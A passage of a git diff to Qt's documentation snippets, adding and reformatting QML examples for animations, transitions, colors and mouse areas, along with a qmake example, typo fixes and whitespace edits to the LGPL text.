+$EPOCROOT/nokia_plugin/openc/s60opencsis/openc_ssl_s60_1_6_ss.sis
+$EPOCROOT/nokia_plugin/openc/s60opencsis/pips_s60_1_6_ss.sis
+$EPOCROOT/nokia_plugin/opencpp/s60opencppsis/stdcpp_s60_1_6_ss.sis
//! [50]
diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc
index 11fd0ff..3ff5936 100644
--- a/doc/src/snippets/code/doc_src_lgpl.qdoc
+++ b/doc/src/snippets/code/doc_src_lgpl.qdoc
@@ -96,7 +96,7 @@ modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
-
+
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
@@ -152,7 +152,7 @@ modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
-
+
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
@@ -199,7 +199,7 @@ Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
-
+
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
@@ -257,7 +257,7 @@ instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
-
+
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
@@ -308,7 +308,7 @@ Library will still fall under Section 6.)
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
-
+
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
@@ -370,7 +370,7 @@ restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
-
+
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
@@ -388,7 +388,7 @@ permitted, and provided that you do these two things:
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
-the Library except as expressly provided under this License. Any
+0the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
@@ -411,7 +411,7 @@ subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
-
+
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
@@ -463,7 +463,7 @@ conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
-
+
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
@@ -497,7 +497,7 @@ SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
-
+
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc
index f6ac4f8..a35a3d9 100644
--- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc
+++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc
@@ -1029,3 +1029,15 @@ DEPLOYMENT += dep_note
//! [156]
DEPLOYMENT.display_name = My Qt App
//! [156]
+
+//! [157]
+packagesExist(sqlite3 QtNetwork QtDeclarative) {
+ DEFINES += USE_FANCY_UI
+}
+//! [157]
+
+//! [158]
+#ifdef USE_FANCY_UI
+ // Use the fancy UI, as we have extra packages available
+#endif
+//! [158]
diff --git a/doc/src/snippets/code/doc_src_stylesheet.qdoc b/doc/src/snippets/code/doc_src_stylesheet.qdoc
index 49e2581..9b8a3b5 100644
--- a/doc/src/snippets/code/doc_src_stylesheet.qdoc
+++ b/doc/src/snippets/code/doc_src_stylesheet.qdoc
@@ -213,7 +213,7 @@ namespace ns {
}
// ...
-qApp->setSytleSheet("ns--MyPushButton { background: yellow; }");
+qApp->setStyleSheet("ns--MyPushButton { background: yellow; }");
//! [27]
diff --git a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
index 2494eb2..11f5163 100644
--- a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
+++ b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
@@ -75,7 +75,7 @@ QString result = future.result();
//! [4]
// call 'QList<QByteArray> QByteArray::split(char sep) const' in a separate thread
-QByteArray bytearray = "hello world;
+QByteArray bytearray = "hello world";
QFuture<QList<QByteArray> > future = QtConcurrent::run(bytearray, &QByteArray::split), ',');
...
QList<QByteArray> result = future.result();
diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml
new file mode 100644
index 0000000..06f83f2
--- /dev/null
+++ b/doc/src/snippets/declarative/application.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.1
+
+Rectangle {
+ width: 300; height: 55
+ color: Qt.application.active ? "white" : "lightgray"
+ Text {
+ text: "Application " + (Qt.application.active ? "active" : "inactive")
+ opacity: Qt.application.active ? 1.0 : 0.5
+ anchors.centerIn: parent
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
new file mode 100644
index 0000000..c670eca
--- /dev/null
+++ b/doc/src/snippets/declarative/colors.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 160; height: 250
+
+ Image {
+ width: 160; height: 200
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+
+ //! [colors]
+ Rectangle {
+ color: "steelblue"
+ width: 40; height: 40
+ }
+ Rectangle {
+ color: "transparent"
+ y: 40; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#FF0000"
+ y: 80; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#800000FF"
+ y: 120; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#00000000" // ARGB fully transparent
+ y: 160
+ width: 40; height: 40
+ }
+ //! [colors]
+
+ Rectangle {
+ x: 40
+ width: 120; height: 200
+
+ Text {
+ font.pixelSize: 16
+ text: "steelblue"
+ x: 10; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "transparent"
+ x: 10; y: 40; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "FF0000"
+ x: 10; y: 80; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "800000FF"
+ x: 10; y: 120; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "00000000"
+ x: 10; y: 160; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ }
+ }
+
+ Image {
+ y: 210
+ width: 40; height: 40
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+ }
+
+ Text {
+ font.pixelSize: 16
+ text: "(background)"
+ x: 50; y: 210; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+}
diff --git a/doc/src/snippets/declarative/componentCreation.js b/doc/src/snippets/declarative/componentCreation.js
index c29a1f9..7364139 100644
--- a/doc/src/snippets/declarative/componentCreation.js
+++ b/doc/src/snippets/declarative/componentCreation.js
@@ -17,15 +17,11 @@ function createSpriteObjects() {
//![local]
component = Qt.createComponent("Sprite.qml");
- sprite = component.createObject(appWindow);
+ sprite = component.createObject(appWindow, {"x": 100, "y": 100});
if (sprite == null) {
// Error Handling
console.log("Error creating object");
- } else {
- sprite.x = 100;
- sprite.y = 100;
- // ...
}
//![local]
@@ -36,13 +32,10 @@ function createSpriteObjects() {
//![finishCreation]
function finishCreation() {
if (component.status == Component.Ready) {
- sprite = component.createObject(appWindow);
+ sprite = component.createObject(appWindow, {"x": 100, "y": 100});
if (sprite == null) {
// Error Handling
- } else {
- sprite.x = 100;
- sprite.y = 100;
- // ...
+ console.log("Error creating object");
}
} else if (component.status == Component.Error) {
// Error Handling
diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml
index e6a6fcf..42ee3da 100644
--- a/doc/src/snippets/declarative/focus/focusColumn.qml
+++ b/doc/src/snippets/declarative/focus/focusColumn.qml
@@ -1,6 +1,6 @@
/****************************************************************************
**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
diff --git a/doc/src/snippets/declarative/folderlistmodel.qml b/doc/src/snippets/declarative/folderlistmodel.qml
index 3bddefb..8aeb72c 100644
--- a/doc/src/snippets/declarative/folderlistmodel.qml
+++ b/doc/src/snippets/declarative/folderlistmodel.qml
@@ -43,15 +43,19 @@ import QtQuick 1.0
import Qt.labs.folderlistmodel 1.0
ListView {
+ width: 200; height: 400
+
FolderListModel {
- id: foldermodel
+ id: folderModel
nameFilters: ["*.qml"]
}
+
Component {
- id: filedelegate
+ id: fileDelegate
Text { text: fileName }
}
- model: foldermodel
- delegate: filedelegate
+
+ model: folderModel
+ delegate: fileDelegate
}
//![0]
diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
index e3cbebb..18ea971 100644
--- a/doc/src/snippets/declarative/mousearea/mousearea.qml
+++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
@@ -46,74 +46,72 @@ Rectangle {
width: childrenRect.width
height: childrenRect.height
-Row {
+ Row {
+ //! [intro]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
-//! [intro]
-Rectangle {
- width: 100; height: 100
- color: "green"
-
- MouseArea {
- anchors.fill: parent
- onClicked: { parent.color = 'red' }
- }
-}
-//! [intro]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { parent.color = 'red' }
+ }
+ }
+ //! [intro]
-//! [intro-extended]
-Rectangle {
- width: 100; height: 100
- color: "green"
+ //! [intro-extended]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
- MouseArea {
- anchors.fill: parent
- acceptedButtons: Qt.LeftButton | Qt.RightButton
- onClicked: {
- if (mouse.button == Qt.RightButton)
- parent.color = 'blue';
- else
- parent.color = 'red';
+ MouseArea {
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onClicked: {
+ if (mouse.button == Qt.RightButton)
+ parent.color = 'blue';
+ else
+ parent.color = 'red';
+ }
+ }
}
- }
-}
-//! [intro-extended]
+ //! [intro-extended]
-//! [drag]
-Rectangle {
- id: container
- width: 600; height: 200
+ //! [drag]
+ Rectangle {
+ id: container
+ width: 600; height: 200
- Rectangle {
- id: rect
- width: 50; height: 50
- color: "red"
- opacity: (600.0 - rect.x) / 600
+ Rectangle {
+ id: rect
+ width: 50; height: 50
+ color: "red"
+ opacity: (600.0 - rect.x) / 600
- MouseArea {
- anchors.fill: parent
- drag.target: rect
- drag.axis: Drag.XAxis
- drag.minimumX: 0
- drag.maximumX: container.width - rect.width
+ MouseArea {
+ anchors.fill: parent
+ drag.target: rect
+ drag.axis: Drag.XAxis
+ drag.minimumX: 0
+ drag.maximumX: container.width - rect.width
+ }
+ }
}
- }
-}
-//! [drag]
+ //! [drag]
-//! [mousebuttons]
-Text {
- text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
- horizontalAlignment: Text.AlignHCenter
- verticalAlignment: Text.AlignVCenter
-
- MouseArea {
- id: mouseArea
- anchors.fill: parent
- acceptedButtons: Qt.LeftButton | Qt.RightButton
- }
-}
-//! [mousebuttons]
+ //! [mousebuttons]
+ Text {
+ text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
-}
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ }
+ }
+ //! [mousebuttons]
+ }
}
diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
new file mode 100644
index 0000000..374d89d
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/checker.svg
@@ -0,0 +1,17 @@
+<?xml version="1.0" standalone="no"?>
+<svg width="10px" height="10px" viewBox="0 0 10px 10px"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink/"
+ baseProfile="tiny" version="1.2">
+ <title>Checker</title>
+ <desc>A checkerboard pattern to use as a background.</desc>
+ <g fill="#e0e0e0" stroke="none" >
+ <rect x="0" y="0" width="10px" height="10px" />
+ </g>
+ <g fill="#404040" stroke="none" >
+ <rect x="0" y="0" width="5px" height="5px" />
+ </g>
+ <g fill="#404040" stroke="none" >
+ <rect x="5px" y="5px" width="5px" height="5px" />
+ </g>
+</svg>
diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml
new file mode 100644
index 0000000..a60b1f4
--- /dev/null
+++ b/doc/src/snippets/declarative/propertyaction-sequential.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+ Item {
+ width: 400; height: 400
+
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
+
+ //! [sequential]
+ transitions: Transition {
+ SequentialAnimation {
+ PropertyAction { target: rect; property: "transformOrigin" }
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+ }
+ //! [sequential]
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
+ }
+ }
+}
diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml
index dd21d14..f5ae798 100644
--- a/doc/src/snippets/declarative/propertyaction.qml
+++ b/doc/src/snippets/declarative/propertyaction.qml
@@ -41,45 +41,43 @@ import QtQuick 1.0
Row {
-//![transition]
-Item {
- width: 400; height: 400
+ //![transition]
+ Item {
+ width: 400; height: 400
- Rectangle {
- id: rect
- width: 200; height: 100
- color: "red"
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
- states: State {
- name: "rotated"
- PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
- }
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
- transitions: Transition {
- RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
- }
+ transitions: Transition {
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
- MouseArea {
- anchors.fill: parent
- onClicked: rect.state = "rotated"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
}
}
-}
-//![transition]
+ //![transition]
-Item {
- width: 300; height: 300
+ Item {
+ width: 300; height: 300
- Image { id: img; source: "pics/qt.png" }
-
-//![standalone]
-SequentialAnimation {
- PropertyAction { target: img; property: "smooth"; value: "true" }
- NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
- PropertyAction { target: img; property: "smooth"; value: "false" }
-}
-//![standalone]
-}
+ Image { id: img; source: "pics/qt.png" }
+ //![standalone]
+ SequentialAnimation {
+ PropertyAction { target: img; property: "smooth"; value: "true" }
+ NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
+ PropertyAction { target: img; property: "smooth"; value: "false" }
+ }
+ //![standalone]
+ }
}
-
diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
index d0a009a..711feec 100644
--- a/doc/src/snippets/declarative/propertyanimation.qml
+++ b/doc/src/snippets/declarative/propertyanimation.qml
@@ -48,10 +48,12 @@ Rectangle {
width: 100; height: 100
color: "red"
+ //! [single state]
states: State {
name: "moved"
PropertyChanges { target: rect; x: 50 }
}
+ //! [single state]
transitions: Transition {
PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad }
@@ -83,18 +85,16 @@ Rectangle {
}
//![propertyvaluesource]
-//![standalone]
-Rectangle {
- id: theRect
- width: 100; height: 100
- color: "red"
-
- // this is a standalone animation, it's not running by default
- PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
-
- MouseArea { anchors.fill: parent; onClicked: animation.running = true }
-}
-//![standalone]
+ //![standalone]
+ Rectangle {
+ id: theRect
+ width: 100; height: 100
+ color: "red"
+ // this is a standalone animation, it's not running by default
+ PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
+ MouseArea { anchors.fill: parent; onClicked: animation.running = true }
+ }
+ //![standalone]
}
diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js
index cd67311..f55dee3 100644
--- a/doc/src/snippets/declarative/script.js
+++ b/doc/src/snippets/declarative/script.js
@@ -1 +1,4 @@
-# Just here so that workerscript.qml succeeds.
+WorkerScript.onMessage = function(message) {
+ // ... long-running operations and calculations are done here
+ WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y })
+}
diff --git a/doc/src/snippets/declarative/states/statechangescript.qml b/doc/src/snippets/declarative/states/statechangescript.qml
new file mode 100644
index 0000000..b885137
--- /dev/null
+++ b/doc/src/snippets/declarative/states/statechangescript.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+Item {
+//! [state and transition]
+State {
+ name: "state1"
+ StateChangeScript {
+ name: "myScript"
+ script: doStateStuff();
+ }
+ // ...
+}
+// ...
+Transition {
+ to: "state1"
+ SequentialAnimation {
+ NumberAnimation { /* ... */ }
+ ScriptAction { scriptName: "myScript" }
+ NumberAnimation { /* ... */ }
+ }
+}
+//! [state and transition]
+}
diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml
new file mode 100644
index 0000000..1e2ebca
--- /dev/null
+++ b/doc/src/snippets/declarative/transition-from-to-modified.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow" }
+ }
+
+ //! [modified transition]
+ transitions: Transition {
+ to: "brighter"
+ ColorAnimation { duration: 1000 }
+ }
+ //! [modified transition]
+}
diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml
index 5fde653..ba07518 100644
--- a/doc/src/snippets/declarative/transition-from-to.qml
+++ b/doc/src/snippets/declarative/transition-from-to.qml
@@ -57,5 +57,3 @@ Rectangle {
}
}
//![0]
-
-
diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml
index c67fd80..6a6ef23 100644
--- a/doc/src/snippets/declarative/transition-reversible.qml
+++ b/doc/src/snippets/declarative/transition-reversible.qml
@@ -53,12 +53,14 @@ Rectangle {
PropertyChanges { target: rect; color: "yellow"; x: 50 }
}
+ //! [sequential animations]
transitions: Transition {
SequentialAnimation {
PropertyAnimation { property: "x"; duration: 1000 }
ColorAnimation { duration: 1000 }
}
}
+ //! [sequential animations]
}
//![0]
diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml
new file mode 100644
